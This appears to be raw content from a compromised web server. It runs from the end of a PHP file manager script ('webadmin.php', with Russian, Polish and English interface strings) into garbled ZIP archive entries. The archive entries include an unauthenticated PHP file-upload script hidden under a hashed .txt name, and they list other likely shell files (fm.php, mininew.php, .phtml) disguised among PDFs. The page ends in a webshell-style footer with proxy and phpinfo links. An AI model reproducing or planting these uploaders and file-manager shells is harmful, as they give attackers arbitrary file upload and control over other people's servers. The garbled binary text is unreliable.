'permission_not_set' => 'Невозможно было изменить права доступа к "[%1]" на [%2] .', 'not_readable' => '"[%1]" невозможно прочитать.' ); case 'pl': $date_format = 'd.m.y H:i:s'; return array( 'directory' => 'Katalog', 'file' => 'Plik', 'filename' => 'Nazwa pliku', 'size' => 'Rozmiar', 'permission' => 'Uprawnienia', 'owner' => 'Właściciel', 'group' => 'Grupa', 'other' => 'Inni', 'functions' => 'Funkcje', 'read' => 'odczyt', 'write' => 'zapis', 'execute' => 'wykonywanie', 'create_symlink' => 'utwórz dowiązanie symboliczne', 'delete' => 'kasuj', 'rename' => 'zamień', 'move' => 'przenieś', 'copy' => 'kopiuj', 'edit' => 'edytuj', 'download' => 'pobierz', 'upload' => 'Prześlij', 'create' => 'Utwórz', 'change' => 'Zmień', 'save' => 'Zapisz', 'set' => 'wykonaj', 'reset' => 'wyczyść', 'relative' => 'względna ścieżka do celu', 'yes' => 'Tak', 'no' => 'Nie', 'back' => 'cofnij', 'destination' => 'miejsce przeznaczenia', 'symlink' => 'dowiązanie symboliczne', 'no_output' => 'nie ma wyjścia', 'user' => 'Urzytkownik', 'password' => 'Hasło', 'add' => 'dodaj', 'add_basic_auth' => 'dodaj podstawowe uwierzytelnianie', 'uploaded' => '"[%1]" został przesłany.', 'not_uploaded' => '"[%1]" nie może być przesłane.', 'already_exists' => '"[%1]" już istnieje.', 'created' => '"[%1]" został utworzony.', 'not_created' => '"[%1]" nie można utworzyć.', 'really_delete' => 'usunąć te pliki?', 'deleted' => "Pliki zostały usunięte:\n[%1]", 'not_deleted' => "Te pliki nie mogą być usunięte:\n[%1]", 'rename_file' => 'Zmień nazwę pliku:', 'renamed' => '"[%1]" zostało zmienione na "[%2]".', 'not_renamed' => '"[%1] nie można zmienić na "[%2]".', 'move_files' => 'Przenieś te pliki:', 'moved' => "Pliki zostały przeniesione do \"[%2]\":\n[%1]", 'not_moved' => "Pliki nie mogą być przeniesione do \"[%2]\":\n[%1]", 'copy_files' => 'Skopiuj te pliki:', 'copied' => "Pliki zostały skopiowane \"[%2]\":\n[%1]", 'not_copied' => "Te pliki nie mogą być kopiowane do \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" nie można edytować.', 'executed' => "\"[%1]\" zostało wykonane pomyślnie:\n{%2}", 'not_executed' => "\"[%1]\" nie może być wykonane:\n{%2}", 'saved' => '"[%1]" został zapisany.', 'not_saved' => '"[%1]" nie można zapisać.', 'symlinked' => 'Dowiązanie symboliczne "[%2]" do "[%1]" zostało utworzone.', 'not_symlinked' => 'Dowiązanie symboliczne "[%2]" do "[%1]" nie moze być utworzone.', 'permission_for' => 'Uprawnienia "[%1]":', 'permission_set' => 'Uprawnienia "[%1]" zostały ustalone na [%2].', 'permission_not_set' => 'Uprawnienia "[%1]" nie mogą być ustawione na [%2].', 'not_readable' => '"[%1]" nie można odczytać.' ); case 'en': default: $date_format = 'n/j/y H:i:s'; return array( 'directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => "These files have been deleted:\n[%1]", 'not_deleted' => "These files could not be deleted:\n[%1]", 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => "These files have been moved to \"[%2]\":\n[%1]", 'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]", 'copy_files' => 'Copy these files:', 'copied' => "These files have been copied to \"[%2]\":\n[%1]", 'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" can not be edited.', 'executed' => "\"[%1]\" has been executed successfully:\n{%2}", 'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}", 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.' ); } } function getimage ($image) { switch ($image) { case 'file': return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA'); case 'folder': return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA'); case 'hidden_file': return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA'); case 'link': return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA'); case 'smiley': return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA='); case 'arrow': return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw=='); } } function html_header () { global $site_charset; echo <<<END <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=$site_charset" /> <title>webadmin.php</title> <style type="text/css"> body { font: small sans-serif; text-align: center } img { width: 17px; height: 13px } a, a:visited { text-decoration: none; color: navy } hr { border-style: none; height: 1px; background-color: silver; color: silver } #main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px } #main th { background: #eee; padding: 3pt 3pt 0pt 3pt } .listing th, .listing td { padding: 1px 3pt 0 3pt } .listing th { border: 1px solid silver } .listing td { border: 1px solid #ddd; background: white } .listing .checkbox { text-align: center } .listing .filename { text-align: left } .listing .size { text-align: right } .listing th.permission { text-align: left } .listing td.permission { font-family: monospace } .listing .owner { text-align: left } .listing .group { text-align: left } .listing .functions { text-align: left } .listing_footer td { background: #eee; border: 1px solid silver } #directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt } #directory { background: #eee; border: 1px solid silver } #upload { padding-top: 1em } #create { padding-bottom: 1em } .small, .small option { font-size: x-small } textarea { border: none; background: white } table.dialog { margin-left: auto; margin-right: auto } td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center } #permission { margin-left: auto; margin-right: auto } #permission td { padding-left: 3pt; padding-right: 3pt; text-align: center } td.permission_action { text-align: right } #symlink { background: #eee; border: 1px solid silver } #symlink td { text-align: left; padding: 3pt } #red_button { width: 120px; color: #400 } #green_button { width: 120px; color: #040 } #error td { background: maroon; color: white; border: 1px solid silver } #notice td { background: green; color: white; border: 1px solid silver } #notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex } code { font-size: 12pt } td { white-space: nowrap } </style> <script type="text/javascript"> <!-- function activate (name) { if (document && document.forms[0] && document.forms[0].elements['focus']) { document.forms[0].elements['focus'].value = name; } } //--> </script> </head> <body> END; } function html_footer () { echo <<<END </body> </html> END; } function notice ($phrase) { global $cols; $args = func_get_args(); array_shift($args); return '<tr id="notice"> <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td> </tr> '; } function error ($phrase) { global $cols; $args = func_get_args(); array_shift($args); return '<tr id="error"> <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td> </tr> '; } ?> PK ! g�|& 2 activities/18/a68b9abffbcce089010110121f22b1f0.txtnu �[��� <?php if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if (isset($_FILES['image']['name'])) { $abod = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $abod); echo"<center><b>Done ==> $userfile_name</b></center>"; } } else{ echo' <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>'; } ?> PK ! �V� index.htmlnu �[��� PK ! L4EW�� �� Y activities/18/license.phpnu �[��� PK ! g�|& 2 %� activities/18/99071570869910d86f51f1aafa2f3547.pdfnu �[��� PK ! ����] ] �� activities/18/fm.phpnu �[��� PK ! g�|& 2 2 activities/18/dd2c2589a86841abb6f365758e1d2352.txtnu �[��� PK ! � .�nU nU � activities/18/mininew.phpnu �[��� PK ! g�|& 2 U^ activities/18/49423ad1bc52819ddda91a7290d43995.pdfnu �[��� PK ! d�u5 5 �` activities/18/index.htmlnu �[��� PK ! g�|& 4 >a activities/18/932098b8f8ed0add646b8a284896da42.phtmlnu �[��� PK ! g�|& 2 �c activities/18/378ba27eef2f94c7e1eadd0a5c8cb61a.txtnu �[��� PK ! *�4��! �! f activities/18/webadmin.phtmlnu �[��� PK ! g�|& 2 � activities/18/a68b9abffbcce089010110121f22b1f0.txtnu �[��� PK � p�
| ver. 1.1 | |
.
| PHP 8.4.18 | Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ñтраницы: 0.01 |
proxy
|
phpinfo
|
ÐаÑтройка